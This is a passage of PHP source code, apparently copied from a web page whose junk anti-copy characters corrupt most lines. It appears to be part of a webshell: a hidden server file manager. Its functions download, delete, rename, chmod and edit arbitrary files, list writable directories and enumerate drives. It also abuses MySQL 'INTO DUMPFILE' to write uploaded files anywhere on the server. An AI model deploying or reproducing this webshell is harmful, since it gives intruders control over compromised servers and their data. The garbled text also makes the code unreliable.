  332.         elseif($doing == 'downrar') {
    & ~" X# i) ~2 e/ J
  333.                 if ($dl) {
    9 I/ Y5 c5 ^/ S. H  Q( O
  334.                         $dfiles='';1 k" q  L) ^. P- T8 \
  335.                         foreach ($dl as $filepath => $value) {
      S. k+ G  {8 B5 y, S0 @- k
  336.                                 $dfiles.=$filepath.',';! {7 _2 x5 q9 R  M1 Z* t' s
  337.                         }
    , y$ }1 i% Z4 L$ H$ V% g; i) L
  338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);
    # J$ I; D; m: U& S4 g
  339.                         $dl=explode(',',$dfiles);+ Z( X; G& K1 o- r. _$ Z
  340.                         $zip=new PHPZip($dl);7 R, B  y+ B: R! _0 q
  341.                         $code=$zip->out;
    / j, y" {! D6 r
  342.                         header('Content-type: application/octet-stream');# k0 H& W' G% ?; S& r1 g& _& L$ d0 `
  343.                         header('Accept-Ranges: bytes');
    % I! u' E, m# K
  344.                         header('Accept-Length: '.strlen($code));
    , R' j% u4 ]8 ]1 a1 M
  345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');- H* u+ }/ G/ l$ E+ I# q
  346.                         echo $code;- B. O% a( T4 U- L1 |
  347.                         exit;
    6 K6 g! D1 _- J& x
  348.                 } else {% {' O" I  n" C- D: d$ t4 L; V4 e
  349.                         m('Please select file(s)');2 i8 z/ o# s- e9 C7 W; n2 f$ X2 z
  350.                 }) ^; U( a+ F! Y
  351.         }
    * J% ^2 u# o+ u- B

  352. 7 e+ v, m; k! ~: z4 z
  353.         // 批量删除文件- R% z. M6 [( y
  354.         elseif($doing == 'delfiles') {
    * b8 b' Q3 a+ x9 K
  355.                 if ($dl) {
    ! W3 z2 m' v8 P) B/ p0 o
  356.                         $dfiles='';
    5 B5 o2 ?" ~1 A
  357.                         $succ = $fail = 0;* [7 e2 h  D1 x' D2 [& K
  358.                         foreach ($dl as $filepath => $value) {
    / i6 x0 N( A  a* ?3 D5 Q
  359.                                 if (@unlink($filepath)) {
    6 e) A+ G, F: z+ t0 R0 Z
  360.                                         $succ++;" }1 a! I2 Q0 k8 t! z# h4 H! O
  361.                                 } else {( D. F" k$ O6 A. I0 [
  362.                                         $fail++;
    8 c' f. }/ A+ M/ o. r& X  Z4 D
  363.                                 }9 n* K# C+ @% u8 E
  364.                         }, \2 j+ ?' T3 L7 L
  365.                         m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);) z9 f! X3 p% ^
  366.                 } else {
    4 \$ `7 k  U7 a% w
  367.                         m('Please select file(s)');! |. X/ t: }3 M9 q$ q# N/ F
  368.                 }
    1 ~' Z0 M6 n6 U) s9 }
  369.         }. {8 K0 ^3 ^. z5 P" y
  370. 3 v! w8 K) j1 `5 @
  371.         //操作完毕( s7 z* j/ h% H. K/ y& B3 d
  372.         formhead(array('name'=>'createdir'));% ^4 Y. P# T7 i/ ?6 V% Z
  373.         makehide('newdirname');
    5 v6 o7 M* T9 {' @
  374.         makehide('dir',$nowpath);4 v9 m4 ~1 I+ V, b5 Q" m
  375.         formfoot();4 A9 m- T6 X& h" B. P+ o; T) R
  376.         formhead(array('name'=>'fileperm'));
    / ^3 y1 b% o& w; \
  377.         makehide('newperm');
      E- u$ ^1 o3 b* E- E+ j
  378.         makehide('pfile');, a+ Y8 p$ o& H" U# b
  379.         makehide('dir',$nowpath);
    7 Q9 G1 E9 F4 W/ \: w$ V2 g0 r7 Y
  380.         formfoot();
    5 y. f2 C3 g. F# p
  381.         formhead(array('name'=>'copyfile'));
    0 b! d+ q- ~' w* R
  382.         makehide('sname');
    + e4 z/ i* y. p( j+ G* w
  383.         makehide('tofile');2 R9 q4 P! w6 Q; d$ g& A% ?4 _
  384.         makehide('dir',$nowpath);
    8 }' U( b: F$ ]
  385.         formfoot();
      z  ]! ]$ u, A6 ^7 ], ^2 n
  386.         formhead(array('name'=>'rename'));4 x5 g# z) n, S: [3 g
  387.         makehide('oldname');
    * Y+ c; @) J1 q% C8 {" d
  388.         makehide('newfilename');
    2 k9 ~1 a1 [) b# U) i
  389.         makehide('dir',$nowpath);' f9 w& n% P0 K! Y3 ~& A( K
  390.         formfoot();! V" I' d- {) A8 b. V7 O" D% ^
  391.         formhead(array('name'=>'fileopform'));2 H, ?9 u- a% H1 a+ a3 n
  392.         makehide('action');
    8 [6 E) c4 P- n+ v/ R
  393.         makehide('opfile');% S$ O: @) y" W2 K/ c' ^
  394.         makehide('dir');* l4 {% w2 O% {8 ]. e
  395.         formfoot();
    ! T! N0 K! m0 |3 W5 s4 V  i

  396. , K' _5 b8 E. i: v9 i& M& Z
  397.         $free = @disk_free_space($nowpath);8 l& Y7 c7 t( g* g
  398.         !$free && $free = 0;- y/ y( f3 P, w3 F; K( U
  399.         $all = @disk_total_space($nowpath);( J- Z) C, x1 i0 r+ Z& ^& N
  400.         !$all && $all = 0;
    : U# T  f9 j7 n. Q, _% Z
  401.         $used = $all-$free;0 M7 J0 Q  j' J9 C
  402.         $used_percent = @round(100/($all/$free),2);
    + I2 i5 x, u" @2 S, O  K2 b6 {1 z( B
  403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
    0 E) l- S& z& m: b6 V3 T6 |5 F

  404. 0 P5 H8 y) Y: \7 c' j
  405. ?>: F9 d* M; N. @* g- O- k# R
  406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">* I. P3 K5 G8 f1 Q( y
  407.   <form action="" method="post" id="godir" name="godir">
    ( S. W1 k! C8 j0 P7 x
  408.   <tr>
    ) }$ i/ x* W/ N; R3 a- I+ f
  409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
    0 h7 ~) r( L2 M2 b% r
  410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
    / o4 b/ y& n: h- [. M5 o
  411.     <td nowrap><input class="bt" value="GO" type="submit"></td>0 x; _! z" k; |' k
  412.   </tr>1 e  [4 N! j: I0 Y- s9 G; V' f6 s
  413.   </form>
    . f  `1 D( m$ |: _" t7 g$ w; M
  414. </table>& y7 m& Z# n9 r& N6 G
  415. <script type="text/javascript">
    * H* ]+ \$ }+ P% I! y+ a  B
  416. function createdir(){  j+ f/ {& h7 l( I$ g+ J
  417.         var newdirname;
    7 y6 Z: w" X) K. f* L  _
  418.         newdirname = prompt('Please input the directory name:', '');
    3 ^1 }" X8 L  t
  419.         if (!newdirname) return;5 r) R! d% w8 S- W4 ]. w4 a5 U; t3 t
  420.         $('createdir').newdirname.value=newdirname;
    , z8 p7 l! N2 Y* q+ J6 d
  421.         $('createdir').submit();
    ; ^0 J! m. k) ?6 _7 @  r9 X! u
  422. }
    + U5 u' V& ?1 ~6 p  t# ?  a$ c
  423. function fileperm(pfile){
    % Q1 h% k' K, v1 i+ R
  424.         var newperm;
    ; a, f( \" L# l0 q2 J
  425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');/ D9 k8 a6 W8 a
  426.         if (!newperm) return;1 T) g+ w1 k6 i. N# R
  427.         $('fileperm').newperm.value=newperm;
    $ h7 J9 x9 P# V; [' J6 Q: V
  428.         $('fileperm').pfile.value=pfile;: J% v3 F! Y! z' H- k% e6 x
  429.         $('fileperm').submit();
    ! F0 V! G  m9 b9 [
  430. }
    : j/ \1 s2 p, o4 Z) h: d6 A
  431. function copyfile(sname){
    3 Q, d0 l; R0 b5 H
  432.         var tofile;& b8 F0 g+ b* H& Q
  433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');+ U! o$ O1 z$ r8 ~% Q3 D' @
  434.         if (!tofile) return;3 p) x! l0 p2 B# x, h' V, i& u% t
  435.         $('copyfile').tofile.value=tofile;; y' }( l: S  N0 ^9 s3 l* ]
  436.         $('copyfile').sname.value=sname;% N3 u4 Q/ q8 }# g
  437.         $('copyfile').submit();
    ; j5 M" C+ N+ J  s. _3 S0 d7 b
  438. }& i& R/ t6 F9 h  ~; T
  439. function rename(oldname){
    1 A: ]! F( ]! o  \# Y" v9 f9 B; V
  440.         var newfilename;0 D: `/ [8 G' Y: s/ R/ j  _0 `
  441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');' L( |  {! p; K+ ?
  442.         if (!newfilename) return;
    + V/ }' c2 W/ |8 B0 Z  J
  443.         $('rename').newfilename.value=newfilename;+ r7 w- D  l7 e- b7 W* m
  444.         $('rename').oldname.value=oldname;
    $ J+ G+ g* e0 M
  445.         $('rename').submit();, l9 c8 H' r1 K7 n) b
  446. }! c; O/ ?. z$ ]0 n1 S
  447. function dofile(doing,thefile,m){/ G) U" f: Q" h7 p
  448.         if (m && !confirm(m)) {7 Q! d: b- }6 q" c  f
  449.                 return;* h( K, e4 w$ o% a& J. J
  450.         }. B: a# A% h# }0 x7 [) H0 P
  451.         $('filelist').doing.value=doing;- _- h4 w' n9 Q( M
  452.         if (thefile){
    0 z+ S) q( K# c7 M# X8 M. l
  453.                 $('filelist').thefile.value=thefile;
    * e6 }0 t/ b5 J) x& r7 A; @& Q
  454.         }9 ]# B/ K2 S$ D
  455.         $('filelist').submit();
    2 s) O. t: ]# k0 x8 N, w+ k# f
  456. }
    & ]5 L. I* Z( K$ H. m
  457. function createfile(nowpath){
    8 i0 I! c8 ], w/ C
  458.         var filename;3 e( U/ O4 p' v6 e
  459.         filename = prompt('Please input the file name:', '');5 L0 p7 Z8 M' |* G7 [
  460.         if (!filename) return;2 r* L' K9 M' @8 x4 n" L% |& ^5 |
  461.         opfile('editfile',nowpath + filename,nowpath);# g0 k5 ^9 T* B. T% I
  462. }
    0 |9 v; i6 o6 {+ P. f$ ?7 c
  463. function opfile(action,opfile,dir){
    " A, [3 g! j. Q& v
  464.         $('fileopform').action.value=action;
    4 m! T4 `: t8 Y8 {+ a; _  [
  465.         $('fileopform').opfile.value=opfile;
      }! T  z- m  V
  466.         $('fileopform').dir.value=dir;. A) i, @+ r. I1 X3 v2 G$ q4 U
  467.         $('fileopform').submit();6 A1 x/ |* V; O0 R+ T2 ]
  468. }1 v5 h8 L3 @) G
  469. function godir(dir,view_writable){) \+ ^( r' \, E0 J' P
  470.         if (view_writable) {, _2 Q) n0 u5 u3 v6 w, s
  471.                 $('godir').view_writable.value=1;
    ( k( k% M$ J6 o& i
  472.         }# P5 O5 W& G( V9 `7 H, D
  473.         $('godir').dir.value=dir;
    7 B. _3 w# m6 r4 h8 s' r
  474.         $('godir').submit();
    ' n4 [3 m7 E+ x. n( e9 N) V9 W( f
  475. }
    % x+ q7 H9 q  W1 p: _" a% @4 c
  476. </script>, N/ F+ u' ], b7 z( c( Z
  477.   <?php3 S: t* x5 C- N6 t! {" x# |+ L& J
  478.         tbhead();
    ' A1 J6 n) N- t4 A4 n' B
  479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
    0 C& z5 x, v3 ]1 N, P
  480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
    , r7 Q) K  M( C  W5 l" {( e6 y
  481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
    8 m& K' S7 U1 k. e; t- u* S' g
  482.         if ($view_writable) {; ]/ ]2 r$ P& ^2 P1 X
  483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');$ `! x# O- K# _' y+ q
  484.         } else {
    8 P8 i& v9 i% S% a8 `
  485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');% g: ?4 @+ p: ?% W# Z% G1 _- O
  486.         }1 l* [& Q; f* H0 o/ V
  487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');# R) x3 |& H$ J. A* P
  488.         if (IS_WIN && IS_COM) {" r- Y, W/ G( U  k1 z
  489.                 $obj = new COM('scripting.filesystemobject');
      x7 r/ K! l5 P9 A* ?! d
  490.                 if ($obj && is_object($obj)) {$ U/ V7 R+ V" r# Q8 H" U; G; F
  491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');3 D/ l7 o$ \& q! ~$ Q/ \
  492.                         foreach($obj->Drives as $drive) {
      Y6 l; [* i8 l" |3 g4 r
  493.                                 if ($drive->DriveType == 2) {
    5 ^6 |5 j/ U/ [
  494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'* A8 [& C7 x7 M- A2 n1 }% P/ Z
  495. Free:'.sizecount($drive->FreeSpace).'; Z/ T) z/ ]; ~7 H' S
  496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');: p0 _- E+ I6 q; O* I5 Z* ^
  497.                                 } else {/ H3 y+ N: K! R3 r* a
  498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
    9 R  f5 C/ R2 c8 f7 Y2 i
  499.                                 }
    ) P3 J& x2 c3 `" C% ~! `" b) Y+ B$ i
  500.                         }
    $ i% f% Z% l6 v3 N) o1 I2 H
  501.                 }' `) r# m7 A; R6 Q6 G  |
  502.         }
    6 e2 C4 t! U6 m9 Y9 I6 D
  503. 0 {* B! \+ a. L
  504.         p('</td></tr></form>');
    4 O9 [/ s1 K6 |& Y1 f  D: ]

  505.   M; Q3 u) a" d) @" j9 {( W
  506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');( o/ T+ |' \4 t2 }

  507. + H1 w$ I; y! ]8 C/ E
  508.         //查看所有可写文件和目录
    + Y/ [) K; j2 P$ G" t5 i* `4 q* G
  509.         $dirdata=array();
      ?% |' G  Y  E+ J1 F
  510.         $filedata=array();! s% a5 W8 J+ e3 E2 m
  511. 8 T7 F! p% q5 u3 l- m
  512.         if ($view_writable) {0 `- L+ T! b3 ^: p3 I
  513.                 $dirdata = GetList($nowpath);
    3 B0 }9 o& x8 D# ?- A
  514.         } else {2 I, B! z  v9 S" g( A) x
  515.                 // 目录列表& S. N4 `  z: Z( o
  516.                 $dirs=@opendir($dir);
    1 E5 i& u5 ^$ Y* m
  517.                 while ($file=@readdir($dirs)) {0 b* L7 H, a. q# N; u; R! J
  518.                         $filepath=$nowpath.$file;" k3 @$ V/ n2 q7 P% X9 D( p: S
  519.                         if(@is_dir($filepath)){5 u4 ~% d# o) `( S# X5 W
  520.                                 $dirdb['filename']=$file;
    7 y; K" \- k* b- ^5 V7 l! D
  521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
    ( _9 o# g! l" C+ y0 q
  522.                                 $dirdb['dirchmod']=getChmod($filepath);$ a- S" i0 k9 Y- [9 _) A- c; @
  523.                                 $dirdb['dirperm']=getPerms($filepath);
    / ~4 H! W, z6 Y; t) N7 f
  524.                                 $dirdb['fileowner']=getUser($filepath);
    $ Z- @* ]: R" `5 H
  525.                                 $dirdb['dirlink']=$nowpath;
    6 E; D9 g4 i/ B+ d  i5 m- v7 z" h
  526.                                 $dirdb['server_link']=$filepath;
    - j' I. j! N7 F. M
  527.                                 $dirdb['client_link']=ue($filepath);
    . J; {0 t  I" Q/ Q
  528.                                 $dirdata[]=$dirdb;5 Q0 L( I9 u2 _4 }
  529.                         } else {                " v7 [! {' l) n/ X) e% u' I2 M
  530.                                 $filedb['filename']=$file;
    $ {1 H$ R! l% H. A5 r# W) [
  531.                                 $filedb['size']=sizecount(@filesize($filepath));
    0 A: R- e5 t7 L* a
  532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));4 E0 {2 E3 p/ y9 U& F
  533.                                 $filedb['filechmod']=getChmod($filepath);8 u7 G. O6 z* S; [/ I5 p0 O
  534.                                 $filedb['fileperm']=getPerms($filepath);6 W1 R& h/ b7 ?1 F
  535.                                 $filedb['fileowner']=getUser($filepath);6 Q! L# v" I7 c
  536.                                 $filedb['dirlink']=$nowpath;
    4 r! A/ o# Y$ G/ ]# ]; U
  537.                                 $filedb['server_link']=$filepath;2 h0 d5 n7 I1 v; V
  538.                                 $filedb['client_link']=ue($filepath);% c1 I7 n& \1 P0 p) d4 X
  539.                                 $filedata[]=$filedb;# A7 r/ j8 n8 s2 `3 Q
  540.                         }
    4 i& D5 ~8 @0 g7 B+ y" T) l+ H
  541.                 }// while
    $ x* D8 O0 c8 \. U$ B7 C4 d9 H
  542.                 unset($dirdb);
    : Q8 k& `7 |; q2 G/ R; H) l& S2 D
  543.                 unset($filedb);
    : T0 e9 G+ r; b" ]
  544.                 @closedir($dirs);
    , I3 P9 a: g% S* W: Z
  545.         }
    5 |/ `& v$ [" V' o- M
  546.         @sort($dirdata);% @. E7 s, [3 g2 ?0 V! d- i3 n& A
  547.         @sort($filedata);
    0 \& B# U+ r* U) B4 c% [
  548.         $dir_i = '0';7 b1 g$ N6 f5 k3 }7 L  h0 ^7 Y
  549.         foreach($dirdata as $key => $dirdb){! e0 |) l- ]$ M1 S: I
  550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
    ' }; M3 Q( g( |( W* ]
  551.                         $thisbg = bg();
    ! `0 o5 z8 c6 z
  552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');" x2 Z* b2 S& h7 _
  553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');% n4 e8 D/ x: W
  554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');; U4 w3 w$ ]4 U$ K: P! u
  555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');
    ! l$ j% F& N7 `; T
  556.                         p('<td nowrap>--</td>');5 c- y7 @+ \# C. i! @/ x7 O
  557.                         p('<td nowrap>');
    $ `1 j1 k$ W/ C" z
  558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
    5 S+ s& Y) k- G) C
  559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
    7 P7 C5 y) P+ k; S) b
  560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
    " z# A) @( U" N3 Z3 O+ y
  561.                         p('</tr>');: d2 @5 e- G, \8 j( Z! h8 _
  562.                         $dir_i++;+ J; M( N* S4 P" r1 U
  563.                 } else {
    $ m2 f' b" o( K5 j; X
  564.                         if($dirdb['filename']=='..') {6 ]( K1 [0 C9 c3 T/ I3 j
  565.                                 p('<tr class='.bg().'>');, q; l0 I/ J/ {4 ]  e
  566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');( v* g: @- Q3 b6 x2 I+ K, ]' ~/ `
  567.                                 p('</tr>');
    . L" m; P0 P& [' Q: N$ k: \! s
  568.                         }
    1 g3 b. {$ D( Q% f
  569.                 }+ ^/ c# E/ T! B+ q7 p. j. C
  570.         }
    0 V+ c0 x) ~6 E1 a

  571. 4 F) D1 o2 b% R( s9 _
  572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');1 _: ~3 q  t" |, G% K9 _
  573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');8 A: }2 _/ w0 `
  574.         makehide('action','file');! v. [# d- \! e) x- u
  575.         makehide('thefile');: [  }0 [7 H7 E
  576.         makehide('doing');
    # i( ], y' Y5 w1 C" K1 _& P
  577.         makehide('dir',$nowpath);
    0 o- J1 z: c; i( b( F) ~, q
  578.         $file_i = '0';
    0 z  t8 r& P* p* R/ I, U( C/ o: Z
  579.         foreach($filedata as $key => $filedb){3 X, `: ]& V8 w' |
  580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {
    ' P( ?4 J5 @# U: F/ g
  581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);+ }2 T% l* D1 x+ b/ V* h8 \' g
  582.                         $thisbg = bg();
    $ e$ `9 [" V" X% W3 j
  583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    # }6 K  r1 X" A2 S" R) D6 N
  584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
    4 n/ O; {  p& x& T2 v) a/ M
  585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');; K( c* \  w& x% Z& k
  586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');
    8 _$ |: Z+ W0 _; ]6 @$ a5 H  h3 g/ j
  587.                         p('<td nowrap>'.$filedb['size'].'</td>');
    . X* q( b# i; e2 a9 {, ?" d5 F6 O
  588.                         p('<td nowrap>');! I1 ]& e( O9 b2 \1 n2 V. P
  589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
    : x/ J9 \  \. G$ U" X3 G  U+ ]
  590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
    + E: o& C7 q* b& ~+ z/ `' _/ Q  [9 @" l
  591.                         p('<td nowrap>');
    . X# z# B4 R1 ^6 Y
  592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
    1 Z1 R2 l( H' c9 a0 _0 c
  593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
    ) u2 T' s3 b3 H0 u, f1 M0 p8 a
  594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
    2 {& V; V. ?6 z. g; J
  595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
    $ |/ w% B. G5 O0 n  A. i/ ]
  596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');: \+ W7 P" J" y- b. c
  597.                         p('</td></tr>');, y  \1 v% P, |& Y
  598.                         $file_i++;+ r2 z) F/ I# m( a
  599.                 }
    ; Y& h4 D! G; b1 q) D1 u: c
  600.         }
    ( y9 r& j+ D9 {/ K! u& w
  601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
    ' @2 @# _: ^: z3 ?6 U; I! E* J
  602.         p('</form></table>');
    $ e, W" p; P7 y, R5 L3 ?/ T0 l6 w
  603. }// end dir
    9 t3 ]2 \1 \, K

  604. 3 @9 Z' |& V- W; M0 ~/ u( d
  605. elseif ($action == 'sqlfile') {6 l1 A6 |" {! l; F/ F1 F% ^
  606.         if($doing=="mysqlupload"){
    ) Z) _  j. j$ R+ s" k% a. x" v
  607.                 $file = $_FILES['uploadfile'];+ w, u1 k) c4 l6 x
  608.                 $filename = $file['tmp_name'];+ r9 `' \# l+ }) d+ ]4 C) q( f1 r0 ]
  609.                 if (file_exists($savepath)) {
    ) N! }. o& N2 D& ~
  610.                         m('The goal file has already existed');; |8 e% c/ E" ~- _! \) D
  611.                 } else {( u* P  D9 m) _2 j8 p3 @) m
  612.                         if(!$filename) {8 ^+ c* G& h) ?$ y! G
  613.                                 m('Please choose a file');
    + f5 O' r/ L: Q. q' c& P! i: ]
  614.                         } else {  o4 S# b. l8 x+ |, p
  615.                                 $fp=@fopen($filename,'r');+ X+ K$ ]  Z9 o# r
  616.                                 $contents=@fread($fp, filesize($filename));7 M8 A- v" t# g) j' F# C
  617.                                 @fclose($fp);; h% g" h8 t2 v! A% H
  618.                                 $contents = bin2hex($contents);
    6 j; F) z( q  g' g  w4 p7 [- N+ x
  619.                                 if(!$upname) $upname = $file['name'];8 ^1 r7 \% Y7 [9 d: Q) ]) l# ]
  620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    6 w4 `6 X& Y4 F) G2 o6 p# E
  621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");! o( s& t/ Z1 g7 v: I  R
  622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());+ q; `: h4 i/ m
  623.                         }" P% W, M  u( C
  624.                 }
      k1 @. _+ Y( N6 H3 [' b* K+ X4 [; m
  625.         }
    * \+ J* w% W$ X8 D& P0 o
  626. ?>% T& _; E& Y' m5 z# y* c5 L- C
  627. <script type="text/javascript"># h+ s5 l7 e& @/ ]7 v9 @( ?# I
  628. function mysqlfile(doing){
    / a6 e- g2 m# O; i
  629.         if(!doing) return;
    8 u! Y9 G% T0 m
  630.         $('doing').value=doing;6 z9 m) ]) Z1 K: Y5 j) j6 z. t
  631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;/ d% @- f7 G# l0 t; f
  632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
    , N7 ]1 |/ M+ l& f$ Z" b
  633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;8 {0 V% ~2 e$ R9 W; z
  634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;% i$ m9 b0 i4 P/ p; e, |
  635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
    ( a2 k2 I" N; z9 [4 _( f
  636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;
    2 |/ r. K8 H; N
  637.         $('mysqlfile').submit();
    2 @# V' U! ]! p  a+ L
  638. }
    6 \5 S9 m; p5 Q9 h6 d1 a
  639. </script>
    # ?4 \% p+ H' m
  640. <?php
    ( K' x$ Y+ R) B6 t! i5 F9 ?: U& W" k
  641.         !$dbhost && $dbhost = 'localhost';
    1 j$ f  L9 G# y9 e
  642.         !$dbuser && $dbuser = 'root';3 c% b2 j2 W. J7 [1 T) p8 x
  643.         !$dbport && $dbport = '3306';3 O( z' e: l: J* |
  644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
    & X/ r0 o. \9 |, A; f
  645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
    . Y* K" X1 b# \9 D
  646.         makehide('action','sqlfile');" {* R4 t8 t  U4 {2 [: [
  647.         p('<p>');" T+ r: r0 z9 n5 E
  648.         p('DBHost:');
    ! g, V  O4 |, }/ V+ X0 a( }( Y
  649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
    ; L6 j; ?9 i- y" W0 p1 K
  650.         p(':');
    9 E  g* V8 T& T' a1 _; s7 X
  651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
    3 A0 p  L, Y# j- d7 g& \0 M2 s
  652.         p('DBUser:');5 r  n% i( M; X
  653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
    + s4 |$ e5 _% T
  654.         p('DBPass:');% @6 g3 J4 a- v5 b# a" F+ F0 R
  655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
    / C* y0 d# m3 g
  656.         p('DBName:');4 @) h2 y9 U8 t0 a1 U% ^- A7 V; O- R* X
  657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));! e& U8 h' b% u0 Z
  658.         p('DBCharset:');) [) J5 i2 u' E5 E" c6 _8 }, }7 J# h( E
  659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));- n6 j' p& u$ i" T0 _  l
  660.         p('</p>');
    - x8 }. v. }0 u0 H+ J& l4 i% [
  661.         formfoot();9 V' u, i( `2 N2 E
  662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
    % b7 q4 Q6 Y4 [$ r! F  j- b: t
  663.         p('<h2>Upload file</h2>');
    . j) Y  M7 X3 E  j4 e
  664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');
    $ K  k8 {% E8 y5 c( @
  665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');5 j& n! e, y& k+ ?- X! O$ R/ X
  666.         p('<h2>Download file</h2>');/ K1 Z4 E9 F( t9 A) [
  667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');* e( c, [+ |3 F, c7 S# s! ]  @
  668.         makehide('dbhost');
    $ J8 R9 R( ^0 z( p& L) d
  669.         makehide('dbport');  d, [6 v5 _7 o6 g9 V% {' E
